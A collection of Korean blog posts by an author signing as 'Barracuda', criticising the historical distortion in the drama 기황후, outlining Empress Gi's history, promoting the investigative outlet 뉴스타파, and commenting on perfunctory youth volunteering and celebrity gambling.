만약, '허구에 입각했다' 라는 의도였다면 당연히 판타지라는 표현을 쓰고 역사물이라는 말은 쓰면 안되는 것이다. 단순히 눈가리고 아웅하듯이 폐륜아인 충혜왕 대신에 왕유라는 있지도 않은 가공인물만 끼워 넣는다고 해서 '몇%는 허구이다' 또는 완전 허구이다 라는 것은 말장난에 지나지 않는다. 

 

단순한 허구인데 역사의 복원은 또 뭔가?

 

혹자는 이를 두고 매국노인 이완용을 독립투사로 묘사하는 것과 무엇이 다르냐 라고 한다. 정도는 다르지만 나름 맞는 말이라고 본다. 기승냥의 여장부다운 기개를 높이 사 주는 것까지는 그렇다 하더라도, 당시 역사상 실존 인물들이 고려에 미친, 상식선에서의 부정적인 평가를 무시하고 지나치게 주인공을 미화(여주인공이 참 예쁘기는 하나)하는 부분은 진정 거북하다.

 

 

특정 매체의 표현(예를 들어 '대원제국' 이라는 단어 사용)을 여과 없이 소개 페이지에 사용하는 등의 오로지 시청률을 극대화해서 드라마의 상품성만을 끌어올리기 위해 앞 뒤 없이 달려만 가는 모습에, 이제는 시청자로서 식상함에서 오는 피로감과 불편함을 동시에 가지는 것은 어쩌면 당연한 일 아닐까? 때로는, 버릴 것은 과감히 버리는 현명한 판단이 필요하다.

 

아래 이미지는 사이트에 올라와 있는 <기획의도>의 문구를 캡처한 것이다. 객관적인 전달자 입장에서 쓴 대원제국이 아니라, '이런 거대한, 위대한 원 제국'의 황후가 된 인물... 이라는 늬앙스가 상당히 거슬린다. 그 대원제국은 고려의 역사에서 내정간섭과 공녀 차출 등으로 우리 민족을 괴롭힌 또 하나의 외세에 지나지 않았는데도 말이다.

 

 

또 하나, 역사를 복원한다는 표현을 썼는데, 극의 내용이 허구라고 했으면서 그러한 문구는 왜 썼던 것인지, 또 과거를 통해 현재를 돌이킨다는 둥의 표현에 대해서도 계속 의문이 남는다. 그냥 사람들 눈을 사로잡기 위한 허울 좋은 추측이고 환상일 뿐이지 않는가? 그러니, 어느 블로거의 '이러다 대일제국이라고도 하겠네' 라는 빈축을 사는 것 아니겠는가?

 

엉터리 역사해석에 역사물이란 단어는 쓰지 말자

 

몇 년 전, 모 방송국의 대박 드라마 <대장금>을 이어, <이산>, <선덕여왕> 그리고 문제의 드라마 <동이>의 경우가 떠오른다. 전작들의 연장선상이었는지는 모르겠으나, 역사에 대한 재조명 어쩌구 하면서 의욕적으로 시작한 <동이>. 초기에 장희빈의 모습은 합리적인 인품과 출중한 여장부의 그것이었는데, 나중에 질투에 눈이 먼 일반 아낙 수준으로 변질되어 갔던 이상한 드라마.

 

당초부터 기획의도가 그랬는지는 알 길이 없으나, 시청률인지 외압인지, 작가의 생각이 바뀐건지 모를 이상한 무언가에 의해, 주인공인 동이(숙빈 최씨)를 부각시키기 위해 장희빈 같은 역사적 주요 인물의 비범함이 평범함으로 변질 되어 갔던 대목이 떠오른다. 이것은 비범함이 부각이 되지 않는 관점의 변경이 아니라, 변질된 것이다.

 

아마도 스토리가 잘 안풀리자, 역사 왜곡으로부터 자유로와지기 위해 사료가 거의 없는 숙빈 최씨를 위주로 픽션을 감행한 것이 아니었을까? 이 마저도 비판 의식 없이 본 사람도 적지 않을 듯 싶어서 갑갑하다[각주:2].

 

다시 말하지만, 드라마는 드라마 즉, 픽션으로만 봐달라고 하면, 역사물이란 타이틀을 떼고, 실존인물의 이름을 쓰지 말아야 한다. 이는 드라마의 존속과 시청률 유지를 위한 궤변 밖에 안된다고 본다.

 

 

의식 있는 시청자, 소비자 판단

 

가뜩이나 역사 과목이 수능에서 빠져 있어서 역사 의식이 약해진, 우리의 후배와 아이들이 연기자의 인기나 외모, 화려한 영상미와 스타일에만 마음이 팔리고, 정작 의미를 두고 알아야 하는 역사적 인물이나 배경의 의미를 왜곡된 시각으로 인지한다면 말이다 ... 우리 어른들이 실수 하는 것이고, 미래의 주역들의 정신에 그릇된 생각을 심어주는 우를 범하는 것이라고 본다.

 

 

어쨌든, 결국 상품의 선택은 소비자의 몫이므로, 소비자는 상품을 제대로 볼 줄 아는 눈을 가져야 한다. 다만 부지불식간에 TV의 최면에 의해 눈 앞이 가려지고 판단력이 흐려지지는 않을지 심히 걱정이 되는 것이다.

 

 

오래 전 1998년에 개봉되었던 <트루먼쇼> 라는 걸작 영화를 보면, 가장 후반에 이런 장면이 나온다. 모든 것이 밝혀지고, 주인공이 바깥 세상으로 퇴장한 뒤의 장면에서, 영화의 트루먼쇼를 지켜보던 시청자는 이렇게 말한다. "다른 채널에선 뭘 하지?".

 

실제로 어떤 일이 일어나고 누가 무슨 비인간적인 대우를 받았건, 나는 그냥 채널만 돌리면 그만이라는, '바보상자'의 노예가 되지 않도록 좀 더 세상에 귀를 기울이고 진실을 향해 마음을 여는 노력을 해야 하지 않을까? 


[관련 글]

2013/11/14 - [The World/Hot Issues] - 기황후와 관련된 역사적 사실 - 드라마 기황후, 알고나 보자


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  1. 원래 탄광노동자의 신성한 삶의 현장을 의미하는데, 별도 포스팅으로 다룰 예정이다. [본문으로]
  2. 드라마를 눈여겨 보았다기 보다는, 조사하다보니 그런 사실이 있었음을 알아낸 것이지, 결코 필자가 예리한 눈을 가진 비평가라는 자랑은 아니다. [본문으로]
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뉴스타파는, 언론노조의 지원으로 2012년 1월 27일 <PD수첩>, <돌발영상>, <그것이 알고 싶다>의 제작자(해직기자)들이 주축이 되어 첫 방송을 시작한, 진정한 탐사저널리스트(탐사보도) 매체이며, 비영리 탐사 언론 기관이다.

 

뉴스타파는 '뉴스답지 않은 뉴스를 타파한다' 라는 의미

 

뉴스다운 뉴스, 언론 본연의 역할인 권력 감시와 국민의 알 권리 충족, 사회적 약자의 목소리 존중을 위한 '성역 없는 진실 보도'를 모토로 탐사보도를 지향하고 있는 곳이다. 회사명은 뉴스타파(newstapa.org).

 

2012년 인터넷 홈페이지에 방송을 게재한 이래, 유튜브, 아이튠즈 팟캐스트, 다음TV, 비메오(Vimeo.com)과 지역케이블방송(시민방송 RTV)을 통해서도 시청할 수 있고, 광고를 하지 않는 원칙과 함께 시민의 후원금으로만 운영되고 있다.

 

스마트폰으로도 접할 수 있는데, 아이폰(IOS)용 App을 앱스토어에서 무료로 다운로드할 수 있으며, 2013년 말 경에 안드로이드용 App으로도 만나볼 수 있다.

 

2012년 1월부터 같이 했던 노종면 앵커(전 YTN기자), 변상욱(CBS) 대기자와 취재참여 파업언론인의 복귀로 6월 30일까지 1시즌이 운영되었고, 2012년 8월에 2시즌이 시작된 이래, 2013년 2월 19일부터 현재까지 3시즌의 업로드가 꾸준히 진행되고 있다.

 

아래 동영상을 한 번 보면, 우리가 얼마나 기존 주류 언론의 최면에 빠져 있는지 여실히 느끼게 될 것이다.

 

유튜브 영상, 유럽순방보도, 100% 국내용(로딩 느리면 유튜브 바로가기)

 

무엇을 해 왔는가?

 

뉴스타파는 이명박 정부 시절 4대강 보 누수와 관련한 문제의 최초 보도와 제주 강정마을의 공권력 폭력 등의 주요 현안을 집중 취재 보도했고, 현대차 비정규직 등 사회 소수자와 약자에 대한 차별 문제도 취재해 왔다.

 

2013년 3월 국정원 댓글 선거개입에 대한 집중 취재와 더불어 20만 이상의 트위터 댓글의 국내 최초 분석이라는 실적과 국정원 심리정보국 직원 소유의 핵심계정까지도 들춰 내는 역할을 해오는 등, 가장 앞서가면서도 진정한 저널리즘을 표방하는 곳이다. 

 

☞ 국정원 의혹 심층보도

 

유튜브 관련 영상(로딩 느리면 유튜브 바로가기)

 

지난 2013년 여름 한국인의 조세피난처 악용의 실상을 처음으로 밝힌 그 언론회사이다. 이 때도, 총 260기가바이트 분량의 내부 자료를 분석하여 국내에 주소를 둔 조세피난처 유령회사 설립자 180명의 명단을 추려내어 취재한 바 있다. 그 결과로 한국 부자들이 어떻게 해외로 자금을 은닉하여 역외 탈세를 하는 지의 실태를 생생하게 고발해 낸 것이다.

 

☞ 조세피난처프로젝트

 

유튜브 관련 영상(로딩 느리면 유튜브 바로가기)

 

 

탐사저널리즘의 선두주자, 뉴스타파의 다짐은 간단한 세가지

  • 성역 없는 진실 보도를 하겠습니다
  • 권력과 자본의 압력에 굴하지 않겠습니다
  • 초심을 잃지 않겠습니다

 

두근 두근 가슴이 뛰는가? 그렇다면 후원!

 

많은 이들이 시도하고 또 실패한, 한국의 진정한 기자의식으로 저널리즘의 힘든 길을 묵묵히 걷고 있는 뉴스타파에 진심으로 박수를 보낸다. 아울러 관심 있는 많은 분들의 기부와 도움의 손길을 부탁한다. 뉴스타파 홈페이지에서는 지속적으로 정기/일시/해외 후원자를 모집하고 있다. 자랑스러운 뉴스타파의 회원이 되어보자.

 

☞ 뉴스타파 후원 방법 보기(링크)

 

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☞ 다양한 종류의 배너를 취사 선택할 수도 있다. 해당 별도 페이지 방문하기(링크)

 

 

-------------------- 보너스!, 탐사저널리즘에 대하여 --------------------

 

탐사저널리즘(Investigative journalism)이란?

- 우리 모두의 백과사전, 위키백과에서는 탐사저널리즘을 이렇게 정리하여 알리고 있다. 고맙소, 위키백과! -

- 우리 모두가 만들어가는 엔하위키(미러)의 뉴스타파 관련 내용도 참조하여 정리한다. 역시 고맙소, 엔하위키(미러)! -

 

탐사저널리즘 또는 탐사보도란, 기자들이 범죄, 정치 부패, 기업 비리 등 특정 주제를 직접 조사하여 캐내는 형태의 저널리즘을 말한다. 하나의 주제에 대해 연구하고 보도되기 까지 짧게는 수개월, 길게는 몇년[각주:1]이 소비된다. 이 탐사보도는 정보의 1차 자료가 되며, 대부분 신문사, 통신사 또는 프리랜서 언론인들이 수행한다.

 

여기서 탐사라는 말은 영어로 Investigation 이다. 즉 기자(reporter)가 수사관(investigator)가 되어 수사하는 것을 말하고, 이 탐사보도를 하는 방송이나 신문은 검/경찰, 국정원의 최종 수사보고서와 같은 성격이 된다. 수사라고 하는 것은 강제수사와 임의수사가 있는데, 강제수사는 법원의 명령으로 발급되는 수색영장, 체포영장, 구속영장, 검증영장 등이 필요하고, 임의수사는 모든 국민과 외국인이 자유롭게 할 수 있다.

 

국내의 법규와 기자(reporter)의 활동 방법

 

국내의 경우는, 정부 수사관이 아닌 일반 국민과 외국인이 임의수사를 할 때에 금지하는 몇 가지의 규제가 있으며, 이를 지키지 않으면 형사처벌이 되는 조항이 흥신소법에서 규정하고 있다. 그래서 국내에서 사설탐정 활동을 하게 되면 불법이 된다.

 

탐사보도기자는 고소장, 법률문서, 세금 기록, 정부보고서, 규제 보고서, 기업 회계 서류와 공적 기록물을 분석[각주:2]하고, 사업 관행과 그 영향, 정부에 대한 정밀 조사나 사회적 법적 문제를 조사하고, 정식 회견이나 익명 제보자(내부 고발자 등)와의 면담을 통해 정보를 수집한다.

 

일반적인 수사관들이 피의자를 수사할 때, 회유 또는 협박으로 수사를 방해 받는 것처럼, 탐사보도 기자들도 동일한 위협을 받게 되는데, 이미 PD수첩이 그러한 영향으로 장기간 방송이 중단되었고, 결국 2012년 종영되었다.

 

이러한 활동을 하는 탐사보도 기자들이 특정한 정치적, 종교적, 경제적, 사상적, 인종적, 성적 편향성을 가진 경우에는 억울한 사람을 악의적으로 수사하여 벼랑 끝으로 내 몰수도 있다는 점을 분명히 알고 넘어가야 하겠다.

 

폭로저널리즘(muck-raking)과는 구분하자

 

탐사저널리즘은 늬앙스가 비슷하지만, 기존 언론의 한계성과 치열한 경쟁에 의해 변질된 형태의 폭로저널리즘(muck-raking journalism)[각주:3]과는 확연히 구분되어야 한다.

 

폭로저널리즘은 진실을 파헤치는 점은 비슷하나, 대중의 호기심과 연계하여 판매부수를 올리는 저열한 것으로, 주로 정치인의 추문이나 연예인의 사생활을 들추어 돈을 벌고자 하는 사리 사욕에 입각한 쓰레기 저널리즘이다.

 

과거 한국의 탐사저널리즘과 대안 언론들

 

미국의 경우 1975년 미국탐사보도협회(IRE)가 설립되어 매년 각종 언론매체를 대상으로 탐사보도 부문 우수작을 선정하고 있으며, 60 Minutes로 유명한 CBS, 뉴욕타임스, 워싱턴포스트 등이 전문 탐사팀을 구성하고 있으며, NBC는 탐사고발 프로그램인 Dateline을 방영하기도 했다.

 

[PD수첩, MBC]

1990년 5월 8일 첫 방송, 방송 20주년을 기념한 서적이 출간되기도 했음

소위 민주화 이후에 만들어진 첫 시사 고발 프로그램

기자가 아닌 PD가 직접 활동. 어느 한 쪽으로 치우치지 않는 자유로운 비판으로 인정받음

만민교회사건, 황우석사건 등의 힘든 시기를 겪은 적이 있고 이명박 정권의 압력(쇠고기 수입 정책 비판) 등으로 고초를 겪음

2005년부터 2013년까지 무던히도 고생하였으나, 이리 저리 쥐어 터지다가, 2013년 11월 현재는 민감한 이슈들을 피해 가며 명맥만을 유지하고 있음. 고발과 비판없는 밥벌이 언론으로 전락한 듯.

(PD수첩의 역사에 대해서는 따로 정리해야 할 만큼 심한 부침이 있어서 여기서는 더 언급하지 않음)

 

[기타]

KBS, 중앙일보, 세계일보, 부산일보 등이 탐사보도팀을 운영하고 있다고 한다. 뭐, ... 음 ... 그렇다. 너도 나도 ..."구색맞추기가 아닌 진정한 저널리즘을 보고 싶다"


공중파에서도 시사매거진 2580(MBC), 그것이 알고 싶다(SBS) 등의 탐사보도 형식을 띈 TV 프로그램 들도 다수 있다. 최근 종편인 JTBC에서 <탐사+> 라는 프로그램을 새로이 가동하고 있어서 약간의 주목을 끄는 듯 하다.


[대안언론] - 주류 언론이 하지 못하는 보도를 지향하는 또는 주류 언론에 대항하는 소규모 지역 또는 영역 위주 언론

미디어 오늘, 1999년 1월(인터넷 기사서비스 개시일 기준)~

오마이뉴스, 2000년 2월~

시민의 소리, 2001년 2월~

프레시안, 2001년 9월~

에이블뉴스, 2002년 12월~

노컷뉴스, 2003년 11월~

대자보, 2004년 7월~ (추가)

민중의 소리, 2005년 11월~

미디어몽구(블로거), 2005년 12월~

뷰스앤뉴스, 2006년 2월~

시사인, 2007년 8월~

미디어스, 2007년 10월~ (추가)

팩트TV, 2007년 12월~

위키트리. 2009년 11월~

뉴스1 코리아(통신사), 2011년 5월~

고발뉴스, 2012년 11월~

국민TV(미디어협동조합), 2013년 4월~


 

한겨레신문사는 2013년 11월, 허핑턴포스트와 협력하여 허핑턴포스트코리아를 국내에 설립하기로 했다. 허핑턴포스트는 2005년에 창간된, 자발적 필진의 소셜 참여형 온라인 미디어 회사이다. 한겨레신문사가 의욕적으로 참여하여, 한국형 참여형 탐사저널리즘으로 허핑턴포스트코리아가 제대로 방향을 잡고 정착될지는 아직 미지수.


최근 연예계 기사를 특종으로 다루는 '특종전사' 디스패치의 경우는 탐사보도라기 보다는, 탐사의 형식을 띤 파파라치성 폭로 보도 정도로 하고 넘어가자. 연예인 사생활 위주의 특정 주제나 소재만을 다룰 뿐 아니라 분석형 보도가 아닌 폭로성만을 띄기 때문이 아닌가 싶다.


첨단 인터넷 기업들의 기부와 언론사의 협력을 촉구하다

 

탐사보도를 수행하는 곳은 철저히 중립성을 가진 비영리 단체 또는 기관의 형식을 띤 뉴스 매체여야 하므로, 그 비용은 전적으로 기부에 의존한다. 미국의 경우 대규모 자선 사업가의 기부와 공공 보조금에 의해 운영되고 있는데, 잘 알려진 자금력이 좋은 프로퍼블리카 같은 경우도 있지만 그렇지 않은 경우도 많다.

 

우리 나라는 이러한 비영리 뉴스 매체가 더 활성화되어 진정한 정론, 비리와 연루되거나 특정 집단의 이기주의에 물들지 않은 건전한 정보의 공유가 더 많이 이루어 져야 한다. 우리 삶에 있어서 실질적인 도움이 되는 정보의 가공과 공유가 가속화 될수록 첨단 기술 기업들, 국제 사회에서의 구글[각주:4], 애플과 맥락을 같이하는 네이버, 다음과 같은 인터넷 회사들이 그 뉴스를 배분하는 과정에서 상당한 헤택을 받고 있다.

 

여러 자선 사업가들의 기부와 , 부족한 보조금에만 의존하기 보다, 탐사저널리즘에서 생산한 비영리 뉴스들을 공급함으로써 혜택을 받아 공익 컨텐츠로 막대한 수익을 거두는 실질적인 수혜 기업들의 기부도 활발히 이루어져야 하겠다.

 

미국의 탐사저널로 유명한 프로퍼블리카(국내의 오마이러브와 비슷한 시민 보도형 프로젝트로도 유명)의 심층보도의 경우 규모와 파급력이 큰 LA타임스, 뉴욕타임스 등과의 협업으로 좋은 결과를 이끌어낸 것으로 유명하다.

 

게재 범위와 영향력이 상대적으로 작을 수 밖에 없는 탐사저널의 특성상, 주요 일간지나 방송사의 정보 공유와 게재 협조 같은 방식으로, 때로는 정통 언론과 정부가 지지와 지원을 함으로써 진정한 공익적 탐사보도가 더 잘 이루어지지 않을까 생각해 본다. 그런 날이 올 수 있었으면 좋겠다.

 

- Barracuda -

  1. 미국 탐사보도 매체인 ProPublica가 타이레놀의 주성분 아세트아미노펜의 위험성을 알리는 기사를 내보내는데 2년이 걸렸고 75만 달러의 비용이 투입됨. [본문으로]
  2. 탐사저널리즘의 꽃은 분석이다. 수 많은 종류와 수십~수백만의 건수로 이루어진 빅데이터를 분석할 수 있는 데이터 저널리즘의 기술이 있어야 가능한 것. [본문으로]
  3. 쓰레기(=muck)를 쓸어담는(raking)다는 뜻. 그런 일에 종사하는 사람이나 기업을 muckraker 라고 부른다. [본문으로]
  4. 2009 구글의 에릭 슈미트에 의해 US판 구글뉴스(https://news.google.com/news)의 하단 메뉴에 Spotlight 라는 것이 추가된다. 주로 탐사저널리즘이나 소수자를 위한 특별한 관심사를 다루는 섹션이 생긴 것이다(로봇에 의한 자동게재임) [본문으로]
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청소년 봉사활동의 실상

 

출퇴근 시간, 바쁜 발걸음을 옮기며 전철 역에 들어서면, 중학생 쯤 되어 보이는 남녀 학생들이 역사 내 곳곳에 눈에 띈다. 뭔가 우리 주변에 도움을 주려는 것 처럼 서 있는 듯 하다. 청소년 봉사활동을 하려고 나온 학생들이다. 그런데 어느 노인 분이 개찰구에서 들어가시지 못하고 당황하고 계셔서, 마침 봉사활동 학생이 있으니 도움을 주겠지 싶어 학생 쪽을 쳐다 보았다.

 

 

노인 분이 "학생, 이거 왜 안되지? 어떻게 하면 돼?" 라고 하자,

봉사활동 학생이 하는 말, "어 이거 ... 모르겠는데요? 어떡하지..."

 

보다 답답해서 역무원에게 안내해 드리고 출근을 서두른다.

 

가만히 둘러 보니, 매표기 주변 양쪽으로 영혼이 빠져 나간 듯 멍~ 하니 서 있는 아이들, 계단 내려오는 근처에는 2명의 여학생들이 점퍼 주머니에 손을 넣은 채 이야기 꽃을 피우며 시간을 때우고 있다.

 

원래 이게 아닐텐데...

 

비단 전철역사에서 진행되는 청소년 봉사활동만 이런 것은 아닐 것이다. 청소년 봉사활동은, 전철역 주변 일손 돕기, 양로원 위문이나 헌혈, 어린이 교육 같은 재능 봉사 등의 여러 가지 분야에서 청소년들의 작은 노력과 봉사로로 새로운 체험이나 남을 돕는 습관을 기르는 좋은 의도의 제도임이 분명하다.

 

주간교육신문의 통계에도 나와 있지만 시행 초기(2002년)에는 '어려운 이웃을 돕고 싶어서' 에 가장 비중이 높았지만, 현재에 들어서는 '봉사점수 취득'이 36.4%, 나머지 '새로운 체험' 23%, '어려운 이웃을 돕고 싶어서' 21% 로 나타났다. 총 209명에 대해 조사한 결과이므로 표본 수가 적어 일반화가 되기는 어려워 보인다.

 

오히려 내가 보기에는 그 보다 더 점수따기 쪽 비율이 훨씬 높지 않을까 생각하게 된다, 실상을 보면 의무적으로 도장 받아가기 내지는 점수 챙기기를 위한 청소년 봉사활동이 거의 대다수이지 않을까 싶다.

 

물론, 뭐든지 열심히 임하는 학생들도 분명히 있을 것이고, 필자도 직장에서 시행하는 단체 봉사활동으로 음성 꽃동네에 가서 예상외의 체험과 봉사의 의미를 느끼고 돌아가기도 했다. 하지만 내 주위의 아이들도 봉사활동 점수 채우기에 급해서 인터넷으로 검색해보고는 후다닥 나가서 시간을 죽이고 오는 것이 자연스러운걸 보면 당초 의미가 퇴색된 것은 분명하다고 본다.

 

수박 겉핧기 식의 악순환은 이제 그만

 

시행 10년을 넘어서며, 청소년 봉사활동이 겉핧기 식의 제도 행정의 전형적인 모습이 된 것이다. 잘 살펴 보면 일종의 악순환인 것이, 으레 눈 비비며 비실거리는 학생에게 기초 교육과 주의 사항을 알려 봐야, 뭐가 될 턱이 없으니 역무원께서도 대충 대충, 봉사활동을 하는 학생들도 진지하게 누군가를 돕기 위해서 나온 것이 아니기 때문에 대충 대충. 역 시설을 이용하는 이용객도 투명인간 보듯이 지나쳐가는 상황이 되어 버린 듯 하다.

 

 

청소년 봉사활동의 원래 취지를 되살리려면, 교육기관과 이용기관의 진정성을 되살리려는 최소한의 노력이 필요하고, 봉사에 임하는 학생들의 마음가짐과 자세를 다시 한번 '남을 도우려는' 마음가짐으로 재무장하는 사회 전반의 노력이 따로 필요하지 않을까 싶다.

 

최소한 내가 학생 봉사활동을 이용하는 역사의 역장이나 역무원이라면, 주변 쓰레기 줍기나 청소, 무거운 짐을 든 노인분을 돕는다거나 안전시설에 문제가 있지 않은지를 찾아내는 활동을 위주로 일을 시키는 등, 참여하는 학생의 귀중한 시간을 의미 있게 사용하는 시도라도 하지 않았을까?

 

봉사활동의 적용 방식이나 범위도 확대해 보는 것이 좋겠다. 예를 들어, 가을에는 주변 길의 낙옆 쓸기, 겨울에 이면도로의 눈 치우기 같은 노력 봉사도 체계화하여 운영하면 어떨까?

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MBC 드라마 기황후, 방영 전부터 역사 왜곡이다 뭐다 말들이 많고, 지금도 논란 거리이다. 시청률 잘 나오는 유명 드라마를 폄하하려는 의도는 없다. 해석에 따라 이렇게 볼 수도 있고, 저렇게도 볼 수 있다. 운명에 의해 내쳐진 머나먼 타국 땅에서 여장부로 기개 있게 살지 않았을까 하는 생각은 자유지만, 역사에서는 이렇게 기록되어 있다 라는 사실만은 정확히 알고 넘어 가자.

 

한 가지 아쉬운 것은, 이미 여러 역사적인 사실들을 충분히 검토하고, 극의 방향을 잡았을 때, 이 정도 논란은 예상 가능했을 것 같은데, 논란이 가중 되니, 뒤 늦게 역사적 사실과 다르다 라고 변명식으로 가는 건 아니라고 본다. 고려의 주권과 중국 측으로부터의 간섭이 본격적으로 시작된 시기였고, 그만큼 민감한 사안인 것을 모르지는 않았을 것임에도 말이다.

 

여담이지만, 사이트의 기황후 드라마 설명 글에서 대원제국 이라는 표현이나 가장 아름다운 같은 홍보 문구를 쓴 것도 상당히 무개념적이지 않나 생각된다. 역사적 인물과 배경을 그대로 차용하면서, 왕유라는 가상의 인물을 껴 놓고는, 실제 역사와는 달라도 많이 다른 허구다 라는 것은 너무 허울 좋은 합리화가 아닐까?

 

역사적 사실을 그대로 보여 달라는 얘기가 아니라, 역사 드라마로서 기본적 개념을 흔들어 버리면, 지금 처럼 논란의 회오리에 휘말리는 결과는 당연한 일인 것이다. 하필 일본과 중국의 역사 왜곡, 뉴라이트 사관 등 불편한 일들이 많은 이 시기에, 우리가 TV로 대하는 우리의 역사물 조차 이런 식으로 흐른다는 건 마음 편한 일은 아니지 않나 싶다.

 

[기황후와 관련된 역사적 사실]

 

기황후(奇皇后). 1315(?)~1369. 기승냥. 원나라 순제(혜종)의 황후(보현숙성황후). 고려 무신 기홍영의 증손녀이자 고려 고종의 사위인 기온의 종손녀. 아버지는 기자오이며, 원나라에 바쳐지는 공녀 중의 한 사람. 2명의 언니와 5명의 오빠(기식, 기철, 기원, 기주, 기륜)가 있었고 기식이 일찍 죽어 기철이 장남 역할.

 

1,333년, 공녀로 원나라로 건너갔고, 불교 신자였던 그녀는 부처에게 기도를 올리다 만난 고려 출신 환관 고용보의 주선으로 황궁의 궁녀가 되고, 혜종의 총애를 얻어 후궁, 곧 이어 귀빈이 됨. 자신을 괴롭히던 제2황후(타나시리)를 역모로 몰아 폐위시키며 제2황후 자리를 얻었고, 제1황후(바얀후투그)가 죽자 제1황후로 등극. 제2황후 시절부터 이미 막강한 권력을 쥐고 있었고, 제1황후가 되면서 원나라는 기황후의 시대가 됨.

 

제2황후 시절 혜종의 총애로 친정아버지, 할아버지, 증조부에게 왕(王) 직위가 주어지고 어머니에게도 대부인 작위가 주어짐. 기철은 원나라의 관직과 함께 고려의 정승(덕성부원군)으로 임명.

 

원나라 내의 반대세력을 몰아 내고 고려인 출신 환관과 유민, 유학생을 등용하여 세력을 형성하고 자신의 친위대와 정치세력으로 활용하고 종내에는 군사력까지 장악함.

 

공녀 시절의 고초를 겪어 굶는 이들을 위해 곡식을 내고, 굶어 죽은 이를 위해 장사를 지내주는 한 때 선정을 배풀었다고 전해짐(1. 이 부분은 이미 근거 없는 낭설이고. 오히려 공물량이 더 늘었다는 사실이 널리 알려져 있으므로 바로 잡습니다. 2016.10).

 

황후가 되는 시점은 원나라의 내정 간섭이 심해져서, 원나라의 승인이 없으면 고려 왕도 되지 못하는 시대 상황이었고, 결국 고려는 원나라의 속국을 면치 못하고 있었음. 그녀가 황후가 되자 고려가 원나라에 합병이 되는 것은 면하였으나, 원나라에 대한 고려 왕실의 안정을 꾀하기 위해 기철을 덕성부원군으로 옹립하게 됨. 공민왕이 왕의 지위를 내정 받은 것이 사실은 기철이 천거한 것. 이 때부터 기철을 비롯한 친원파와 권세가는 기황후의 세력을 등에 업고 권세를 누림.

 

1,356년 공민왕은 원나라가 약해진 틈을 타(고려에서 원나라로 파병했던 군사들로부터 정보를 얻음. 이 파병군에 이성계가 있었음), 기철 등의 기황후 일족과 친원파를 죽이게 되는데, 이에 격분한 기황후는 공민왕을 폐위하려고 공민왕의 삼촌인 덕흥군을 왕으로 내세우며 1만의 군사를 보내 고려 정벌을 감행하였으나 최영, 이성계가 이끄는 고려군에 참패함.

 

1,368년 주원장의 25만 명나라 대군에 밀려 북경을 내어 주고, 지금의 내몽골 자치구 방면인 응창으로 내몰린 뒤 결국 포로가 되어 1,369년에 사망한 것으로 알려짐.

 

경기도 연천군에 기황후 묘가 존재하고 있으나(동국여지지) 한국전쟁으로 비석과 석물이 훼손되어 보존처리가 되지 않고 있다고 함.

 

그녀가 공녀 출신 첫 후비(后妃)는 아니다. 고려 출신의 여성이 궁녀가 되어 후비에 이른 이로는 원 세조 쿠빌라이의 총애를 받은 이씨(李氏), 인종 때의 달마홀도가 있었음.

 

[호의적 의의 - 위키백과의 시각]

 

원나라의 황후가 되면서 80년간의 공녀 징발을 막았음. 친정 나라 고려의 국력을 키우기 위해 재정지원을 함(제주도의 초지와 군마).

 

결과적으로 기황후가 권력을 잡으면서 고려가 원나라에의 복속(입성론: 원나라의 1개 성으로 들어가자는 주장)이 면해졌다는 의견.(근거 없음. 위 1)과 같은 이유로 바로잡습니다. 2016.10)


2013년 당시 필자가 본 글을 쓸 때에 비하여 관련 기사와 온라인 상의 견해들이 빈발(아마도 각계의 비판과 지적들이 활발했었지 않았을까요?)하여. 당시의 위키백과 게제물의 시각 중 일부의 긍정적인 부분이, 현재에 와서 그 의미가 상당히 퇴색되어 있음을 알 수 있습니다. 댓글 주심에 감사 드리며, 당시의 본문 글을 수정하는 것 보다는 코멘트를 달아서 기록을 남겨 두는 편이 더 낫다고 생각되어 이렇게 써 둡니다.


- Barracuda 2016.9 -


여러가지 핑계로 뒤늦게 오류를 바로잡게 되어 죄송합니다.


- Barracuda 2016.10 -

 


[부정적 의의 - 고려사절요, 엔하위키의 시각]

 

권력을 잡은 기철, 기원 등은 기황후의 세를 등에 없고 사리 사욕을 채우고(함부로 권력을 행사하여 남의 노비와 토지를 빼앗고, 기분에 따라 관리를 임명하는 등), 기황후는 고려에 내정 간섭을 하며 가족들이 패악을 부리게 내버려 두었음.

 

드라마 기황후의 왕유는 역사에 존재하지 않는 허구의 인물이며, 당시의 충혜왕은 고려사절요 25권에 의하면 부왕의 후처인 수비 권씨와 간통, 부왕 후처인 경화공주를 강간, 내시 전자유의 집에 행차하여 그의 아내 이씨를 강간하고, 기타 양반집의 아낙들과 간통하는 등 악행을 저질렀다고 함.

 

[관련 글]

2013/11/20 - [The World/Hot Issues] - 기황후 시청률 고공행진과 막장 논란 - 역사의식과 시청률 지상주의


- Barracuda -

 

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연예인과 도박은 찰떡궁합?

 

최근 탁재훈, 이수근, 붐, 앤디, 토니안, 양세형 등 유명 연예인들 때문에 연예계 전체가 들썩거리고 있다[각주:1]. 그들 외에도 알려 지지 않은 인물들도 상당수여서 프로그램 중단 등, 때아닌 연예계 인력난 사태라는 얘기도 나오고 있다.

 

직접 몸 담지 않아 정확히는 모르지만 뉴스를 접하다 보면 상당히 자주 오르내리는 주제가 연예인 도박[각주:2]이다. 과연 연예인의 속성상 도박 같은 한탕주의에 쉽게 노출되기 때문일까? 아니면 잘 알려진 연예인이기 때문에 이런일이 생겨서 파급이 큰 탓일까?

 

황기순 사건 이래 많은 연예인들이 크건 작건 도박에 연루되어 이름에 오점을 남겼다. 혹자는 연예인의 직업적 특성이 한탕주의 성격에 닮아 있다거나 생활 패턴이나 수입이 불규칙해서 그렇다고도 한다. 일반인들의 시선을 의식하며 폐쇄적으로 스트레스를 해소할 것을 찾다 보면, 도박의 유혹에 빠져들기 쉬워서 그렇기도 할 것이다.

 

더구나 연예인들만 노리는 불법 도박 브로커들이 활발하게 활동하고 있는 것인데, 감성이 충만한 만큼, 이런 감각적인 유혹에 좀 더 쉽게 노출되는 부분도 있을 것이라고 본다. 불법적인 것인지 몰랐다고 발뺌만 할 것이 아니라, 당사자의 의식 있는 판단에 따라 공인으로서 소신 있게 행동했어야 했고, 잘못 했으면 결과에 승복하는 쿨한 자세가 더 바람직 하다고 생각된다.

 

 

차분하게 생각해 보면, 비단 연예인들 뿐 아니라, 일반적인 사람들도 도박의 유혹에 쉽게 빠져들 수 밖에 없는 것 아닌가 싶다. 특히 적당한 경제력은 있으나 삶의 목표가 명확하지 않은 또는 시간이 남는 중년 남성들. 물론 남성 뿐 아니라 여성도 도박의 유혹에 빠져들 수는 있지만, 남녀의 성향상 남자 비율이 훨씬 높다는 것은 분명하다.


